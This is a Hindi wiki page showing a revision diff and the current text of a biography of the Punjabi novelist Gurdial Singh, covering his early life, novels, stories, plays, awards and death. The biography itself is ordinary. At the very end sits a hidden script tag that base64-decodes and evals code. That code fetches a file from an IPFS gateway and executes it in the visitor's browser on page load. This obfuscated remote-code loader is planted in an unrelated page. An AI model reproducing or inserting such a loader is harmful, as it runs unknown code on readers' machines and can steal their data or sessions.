"गुरदयाल सिंह": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
(''''गुरदयाल सिंह''' (अंग्रेज़ी: ''Gurdial Singh'', जन्म: 10 जनवरी, [[19...' के साथ नया पन्ना बनाया)
 
No edit summary
 
(3 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''गुरदयाल सिंह''' ([[अंग्रेज़ी]]: ''Gurdial Singh'', जन्म: [[10 जनवरी]], [[1933]]) एक प्रसिद्ध [[पंजाबी भाषा|पंजाबी]] साहित्यकार हैं। इन्हें [[1999]] में [[ज्ञानपीठ पुरस्कार]] से सम्मानित किया गया था। [[अमृता प्रीतम]] के गुरदयाल सिंह दूसरे पंजाबी साहित्यकार हैं जिन्हें ज्ञानपीठ पुरस्कार दिया गया। गुरदयाल सिंह आम आदमी की बात कहने वाले पंजाबी भाषा के विख्यात कथाकार हैं। कई प्रसिद्ध लेखकों की तरह [[उपन्यासकार]] के रूप में गुरदयाल सिंह की उपलब्धि को भी उनके आरंभिक जीवन के अनुभवों के संदर्भ में देखा जा सकता है।  
{{सूचना बक्सा साहित्यकार
|चित्र=Gurdial-Singh.jpg
|चित्र का नाम=गुरदयाल सिंह
|पूरा नाम=गुरदयाल सिंह
|अन्य नाम=
|जन्म=[[10 जनवरी]], [[1933]]
|जन्म भूमि=जैतो, [[पंजाब]]
|मृत्यु=[[16 अगस्त]], [[2016]]
|मृत्यु स्थान=
|अभिभावक=
|पालक माता-पिता=
|पति/पत्नी=
|संतान=
|कर्म भूमि=[[पंजाब]]
|कर्म-क्षेत्र=[[साहित्यकार]]
|मुख्य रचनाएँ='मढ़ी दा दीवा', 'परसा', 'रेत दी इक्क मुट्ठी', 'रूखे मिस्से बंदे' आदि।
|विषय=
|भाषा=[[पंजाबी भाषा|पंजाबी]]
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=
[[ज्ञानपीठ पुरस्कार]] ([[1999]])<br/>
[[पद्मश्री]] ([[1998]])<br/>
शिरोमणि साहित्यकार पुरस्कार ([[1992]])<br/>
पंजाब साहित्य अकादमी पुरस्कार ([[1989]])<br/>
[[साहित्य अकादमी पुरस्कार]] ([[1975]])
|प्रसिद्धि=पंजाबी साहित्यकार
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=[[अमृता प्रीतम]] के बाद गुरदयाल सिंह दूसरे पंजाबी साहित्यकार हैं, जिन्हें [[ज्ञानपीठ पुरस्कार]] दिया गया।
|बाहरी कड़ियाँ=
|अद्यतन=
}}'''गुरदयाल सिंह''' ([[अंग्रेज़ी]]: ''Gurdial Singh'', जन्म- [[10 जनवरी]], [[1933]]; मृत्यु- [[16 अगस्त]], [[2016]]) एक प्रसिद्ध [[पंजाबी भाषा|पंजाबी]] [[साहित्यकार]] थे। उन्हें [[1999]] में '[[ज्ञानपीठ पुरस्कार]]' से सम्मानित किया गया था। [[अमृता प्रीतम]] के बाद गुरदयाल सिंह दूसरे पंजाबी साहित्यकार थे, जिन्हें 'ज्ञानपीठ पुरस्कार' दिया गया था। गुरदयाल सिंह आम आदमी की बात कहने वाले [[पंजाबी भाषा]] के विख्यात कथाकार रहे। कई प्रसिद्ध लेखकों की तरह [[उपन्यासकार]] के रूप में उनकी उपलब्धि को भी उनके आरंभिक जीवन के अनुभवों के संदर्भ में देखा जा सकता है।  
==जीवन परिचय==
==जीवन परिचय==
गुरदयाल सिंह का जन्म 10 जनवरी, 1933 को [[पंजाब]] के जैतो में हुआ। 12-13 वर्ष की आयु में, जब वह कुछ सोचने-समझने लायक़ हो रहे थे, पारिवारिक परिस्थितियों के कारण उन्हें स्कूल छोड़ना पड़ा, ताकि बढ़ई के धंधे में वह अपने [[पिता]] की मदद कर सकें। गुरदयाल का जीवन केवल शारीरिक मेहनत तक सिमट गया, जिसमें कोई बौद्धिक या आध्यात्मिक तत्त्व नहीं था। स्कूल छोड़ देने के बाद भी उन्होंने अपने स्कूल ले प्रधानाध्यापक से संपर्क बनाए रखा, जिन्होंने गुरदयाल की प्रतिभा को पहचाना और अपना अध्ययन निजी तौर पर जारी रखने के लिए प्रोत्साहित किया। गुरदयाल ने स्कूल छोड़ने के लगभग 10 वर्ष बाद स्वतंत्र छात्र के रूप में मैट्रिक की परीक्षा उत्तीर्ण की। उनके हितैषी प्रधानाध्यापक ने एक सरकारी प्राइमरी स्कूल में अध्यापक की नौकरी दिलाने में भी उनकी मदद की।
गुरदयाल सिंह का जन्म 10 जनवरी, 1933 को [[पंजाब]] के जैतो में हुआ। 12-13 वर्ष की आयु में, जब वह कुछ सोचने-समझने लायक़ हो रहे थे, पारिवारिक परिस्थितियों के कारण उन्हें स्कूल छोड़ना पड़ा, ताकि बढ़ई के धंधे में वह अपने [[पिता]] की मदद कर सकें। गुरदयाल का जीवन केवल शारीरिक मेहनत तक सिमट गया, जिसमें कोई बौद्धिक या आध्यात्मिक तत्त्व नहीं था। स्कूल छोड़ देने के बाद भी उन्होंने अपने स्कूल ले प्रधानाध्यापक से संपर्क बनाए रखा, जिन्होंने गुरदयाल की प्रतिभा को पहचाना और अपना अध्ययन निजी तौर पर जारी रखने के लिए प्रोत्साहित किया। गुरदयाल ने स्कूल छोड़ने के लगभग 10 वर्ष बाद स्वतंत्र छात्र के रूप में मैट्रिक की परीक्षा उत्तीर्ण की। उनके हितैषी प्रधानाध्यापक ने एक सरकारी प्राइमरी स्कूल में अध्यापक की नौकरी दिलाने में भी उनकी मदद की।
पंक्ति 5: पंक्ति 42:
[[1966]] में उनका पहला उपन्यास "मढ़ी दा दीवा" प्रकाशित हुआ, जिसमें एक दलित और एक विवाहित जाट महिला के मौन प्रेम की नाटकीय प्रस्तुति थी। यह दुखांत प्रेम कहानी इतनी सहजता और सरलता से अभिव्यक्त की गई कि पाठक कथाशिल्प पर उनकी अद्भुत पकड़ और अपने पात्रों व सामाजिक परिवेश की उनकी गहरी समझ से प्रभावित हुए बिना नहीं रह सके। इसमें दलित वर्ग की ग़रीबी और उनके भावात्मक असंतोष का वर्णन अत्यंत सहजता से किया गया। इसी कारण पूरे लेखकीय जीवन में उन्हें मित्रहीन के मित्र की तरह जाना जाता रहा है। कथाकार के रूप में उनका शिल्प इतना समर्थ है कि अपनी महत्त्वपूर्ण कृति "परसा" में उन्होंने अपने नायक के जीवन के अप्रत्याशित उतार - चढ़ावों का विस्तृत और सफलतापूर्णक निरूपण किया है। इस उपन्यास के नायक के तीन बेटे हैं। पहला खेल प्रशिक्षक है, जो [[इंग्लैंड]] में जाकर बस जाता है, दूसरा पुलिस अधिकारी है, जिसकी जीवन शैली अपने पिता के जीवन से बिल्कुल अलग है, तीसरा बेटा नक्सली हो जाता है और एक पुलिस मुठभेड़ में मारा जाता है। परसा आधुनिक भारतीय कथा साहित्य के एक अविस्मरणीय चरित्र की तरह अपनी छाप छोड़ता है। अपने आसपास के यथार्थ को प्रमाणिकता और विलक्षण कलात्मकता के साथ प्रस्तुत करना गुरदयाल सिंह की विशिष्टता है और यहीं उनके सभी उपन्यासों को अद्भुत रूप से पठनीय बनाती है।
[[1966]] में उनका पहला उपन्यास "मढ़ी दा दीवा" प्रकाशित हुआ, जिसमें एक दलित और एक विवाहित जाट महिला के मौन प्रेम की नाटकीय प्रस्तुति थी। यह दुखांत प्रेम कहानी इतनी सहजता और सरलता से अभिव्यक्त की गई कि पाठक कथाशिल्प पर उनकी अद्भुत पकड़ और अपने पात्रों व सामाजिक परिवेश की उनकी गहरी समझ से प्रभावित हुए बिना नहीं रह सके। इसमें दलित वर्ग की ग़रीबी और उनके भावात्मक असंतोष का वर्णन अत्यंत सहजता से किया गया। इसी कारण पूरे लेखकीय जीवन में उन्हें मित्रहीन के मित्र की तरह जाना जाता रहा है। कथाकार के रूप में उनका शिल्प इतना समर्थ है कि अपनी महत्त्वपूर्ण कृति "परसा" में उन्होंने अपने नायक के जीवन के अप्रत्याशित उतार - चढ़ावों का विस्तृत और सफलतापूर्णक निरूपण किया है। इस उपन्यास के नायक के तीन बेटे हैं। पहला खेल प्रशिक्षक है, जो [[इंग्लैंड]] में जाकर बस जाता है, दूसरा पुलिस अधिकारी है, जिसकी जीवन शैली अपने पिता के जीवन से बिल्कुल अलग है, तीसरा बेटा नक्सली हो जाता है और एक पुलिस मुठभेड़ में मारा जाता है। परसा आधुनिक भारतीय कथा साहित्य के एक अविस्मरणीय चरित्र की तरह अपनी छाप छोड़ता है। अपने आसपास के यथार्थ को प्रमाणिकता और विलक्षण कलात्मकता के साथ प्रस्तुत करना गुरदयाल सिंह की विशिष्टता है और यहीं उनके सभी उपन्यासों को अद्भुत रूप से पठनीय बनाती है।
==प्रमुख कृतियाँ==
==प्रमुख कृतियाँ==
{| width="70%"
{| width="70%" class="bharattable-pink"
|-valign="top"
|-valign="top"  
|
|
;उपन्यास
;उपन्यास
पंक्ति 30: पंक्ति 67:
|}
|}
==सम्मान एवं पुरस्कार==
==सम्मान एवं पुरस्कार==
* [[साहित्य अकादमी पुरस्कार]] (1975)
* [[साहित्य अकादमी पुरस्कार]] ([[1975]])
* पंजाब साहित्य अकादमी पुरस्कार (1989)
* पंजाब साहित्य अकादमी पुरस्कार ([[1989]])
* सोवियत लैंड नेहरू पुरस्कार (1986)
* सोवियत लैंड नेहरू पुरस्कार ([[1986]])
* शिरोमणि साहित्यकार पुरस्कार (1992)
* शिरोमणि साहित्यकार पुरस्कार ([[1992]])
* [[पद्मश्री]] (1998)  
* [[पद्मश्री]] ([[1998]])  
* [[ज्ञानपीठ पुरस्कार]] (1999)  
* [[ज्ञानपीठ पुरस्कार]] ([[1999]])  
 
==मृत्यु==
प्रसिद्ध पंजाबी साहित्यकार गुरदयाल सिंह का निधन [[16 अगस्त]], [[2016]] को भटिण्डा, [[पंजाब]] में हुआ।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 44: पंक्ति 82:
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==
==संबंधित लेख==
==संबंधित लेख==
{{ज्ञानपीठ पुरस्कार}}{{साहित्यकार}}
{{पंजाबी साहित्यकार}}{{ज्ञानपीठ पुरस्कार}}{{साहित्यकार}}
[[Category:ज्ञानपीठ पुरस्कार]][[Category:साहित्य अकादमी पुरस्कार]]
[[Category:पंजाबी साहित्यकार]][[Category:ज्ञानपीठ पुरस्कार]][[Category:साहित्य अकादमी पुरस्कार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:आधुनिक साहित्यकार]][[Category:उपन्यासकार]][[Category:साहित्य कोश]][[Category:पद्म श्री]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:पद्म श्री (1998)]]
[[Category:लेखक]][[Category:आधुनिक लेखक]]
[[Category:साहित्यकार]]
[[Category:उपन्यासकार]]
[[Category:साहित्य कोश]]
[[Category:पद्म श्री]]
[[Category:आधुनिक साहित्यकार]]
__INDEX__
__INDEX__
__NOTOC__

11:06, 21 सितम्बर 2022 के समय का अवतरण

गुरदयाल सिंह
गुरदयाल सिंह
गुरदयाल सिंह
पूरा नाम गुरदयाल सिंह
जन्म 10 जनवरी, 1933
जन्म भूमि जैतो, पंजाब
मृत्यु 16 अगस्त, 2016
कर्म भूमि पंजाब
कर्म-क्षेत्र साहित्यकार
मुख्य रचनाएँ 'मढ़ी दा दीवा', 'परसा', 'रेत दी इक्क मुट्ठी', 'रूखे मिस्से बंदे' आदि।
भाषा पंजाबी
पुरस्कार-उपाधि ज्ञानपीठ पुरस्कार (1999)

पद्मश्री (1998)
शिरोमणि साहित्यकार पुरस्कार (1992)
पंजाब साहित्य अकादमी पुरस्कार (1989)
साहित्य अकादमी पुरस्कार (1975)

प्रसिद्धि पंजाबी साहित्यकार
नागरिकता भारतीय
अन्य जानकारी अमृता प्रीतम के बाद गुरदयाल सिंह दूसरे पंजाबी साहित्यकार हैं, जिन्हें ज्ञानपीठ पुरस्कार दिया गया।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

गुरदयाल सिंह (अंग्रेज़ी: Gurdial Singh, जन्म- 10 जनवरी, 1933; मृत्यु- 16 अगस्त, 2016) एक प्रसिद्ध पंजाबी साहित्यकार थे। उन्हें 1999 में 'ज्ञानपीठ पुरस्कार' से सम्मानित किया गया था। अमृता प्रीतम के बाद गुरदयाल सिंह दूसरे पंजाबी साहित्यकार थे, जिन्हें 'ज्ञानपीठ पुरस्कार' दिया गया था। गुरदयाल सिंह आम आदमी की बात कहने वाले पंजाबी भाषा के विख्यात कथाकार रहे। कई प्रसिद्ध लेखकों की तरह उपन्यासकार के रूप में उनकी उपलब्धि को भी उनके आरंभिक जीवन के अनुभवों के संदर्भ में देखा जा सकता है।

जीवन परिचय

गुरदयाल सिंह का जन्म 10 जनवरी, 1933 को पंजाब के जैतो में हुआ। 12-13 वर्ष की आयु में, जब वह कुछ सोचने-समझने लायक़ हो रहे थे, पारिवारिक परिस्थितियों के कारण उन्हें स्कूल छोड़ना पड़ा, ताकि बढ़ई के धंधे में वह अपने पिता की मदद कर सकें। गुरदयाल का जीवन केवल शारीरिक मेहनत तक सिमट गया, जिसमें कोई बौद्धिक या आध्यात्मिक तत्त्व नहीं था। स्कूल छोड़ देने के बाद भी उन्होंने अपने स्कूल ले प्रधानाध्यापक से संपर्क बनाए रखा, जिन्होंने गुरदयाल की प्रतिभा को पहचाना और अपना अध्ययन निजी तौर पर जारी रखने के लिए प्रोत्साहित किया। गुरदयाल ने स्कूल छोड़ने के लगभग 10 वर्ष बाद स्वतंत्र छात्र के रूप में मैट्रिक की परीक्षा उत्तीर्ण की। उनके हितैषी प्रधानाध्यापक ने एक सरकारी प्राइमरी स्कूल में अध्यापक की नौकरी दिलाने में भी उनकी मदद की।

लेखन शैली

1966 में उनका पहला उपन्यास "मढ़ी दा दीवा" प्रकाशित हुआ, जिसमें एक दलित और एक विवाहित जाट महिला के मौन प्रेम की नाटकीय प्रस्तुति थी। यह दुखांत प्रेम कहानी इतनी सहजता और सरलता से अभिव्यक्त की गई कि पाठक कथाशिल्प पर उनकी अद्भुत पकड़ और अपने पात्रों व सामाजिक परिवेश की उनकी गहरी समझ से प्रभावित हुए बिना नहीं रह सके। इसमें दलित वर्ग की ग़रीबी और उनके भावात्मक असंतोष का वर्णन अत्यंत सहजता से किया गया। इसी कारण पूरे लेखकीय जीवन में उन्हें मित्रहीन के मित्र की तरह जाना जाता रहा है। कथाकार के रूप में उनका शिल्प इतना समर्थ है कि अपनी महत्त्वपूर्ण कृति "परसा" में उन्होंने अपने नायक के जीवन के अप्रत्याशित उतार - चढ़ावों का विस्तृत और सफलतापूर्णक निरूपण किया है। इस उपन्यास के नायक के तीन बेटे हैं। पहला खेल प्रशिक्षक है, जो इंग्लैंड में जाकर बस जाता है, दूसरा पुलिस अधिकारी है, जिसकी जीवन शैली अपने पिता के जीवन से बिल्कुल अलग है, तीसरा बेटा नक्सली हो जाता है और एक पुलिस मुठभेड़ में मारा जाता है। परसा आधुनिक भारतीय कथा साहित्य के एक अविस्मरणीय चरित्र की तरह अपनी छाप छोड़ता है। अपने आसपास के यथार्थ को प्रमाणिकता और विलक्षण कलात्मकता के साथ प्रस्तुत करना गुरदयाल सिंह की विशिष्टता है और यहीं उनके सभी उपन्यासों को अद्भुत रूप से पठनीय बनाती है।

प्रमुख कृतियाँ

उपन्यास
  • मढ़ी दा दीवा (1964)
  • अणहोए (1966)
  • रेत दी इक्क मुट्ठी (1967)
  • कुवेला (1968)
  • अध चानणी रात (1972)
कहानी
  • सग्गी फुल्ल (1962)
  • चान्न दा बूटा (1964)
  • रूखे मिस्से बंदे (1984)
  • बेगाना पिंड (1985)
  • करीर दी ढींगरी (1991)
नाटक
  • फरीदा रातीं वड्डीयां (1982)
  • विदायगी दे पिच्छीं (1982)
  • निक्की मोटी गल (1982)
गद्य-
  • लेखक दा अनुभव ते सिरजन परकिरिया।

सम्मान एवं पुरस्कार

मृत्यु

प्रसिद्ध पंजाबी साहित्यकार गुरदयाल सिंह का निधन 16 अगस्त, 2016 को भटिण्डा, पंजाब में हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  • पुस्तक- भारत ज्ञानकोश खंड-6 | पृष्ठ संख्या- 40

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>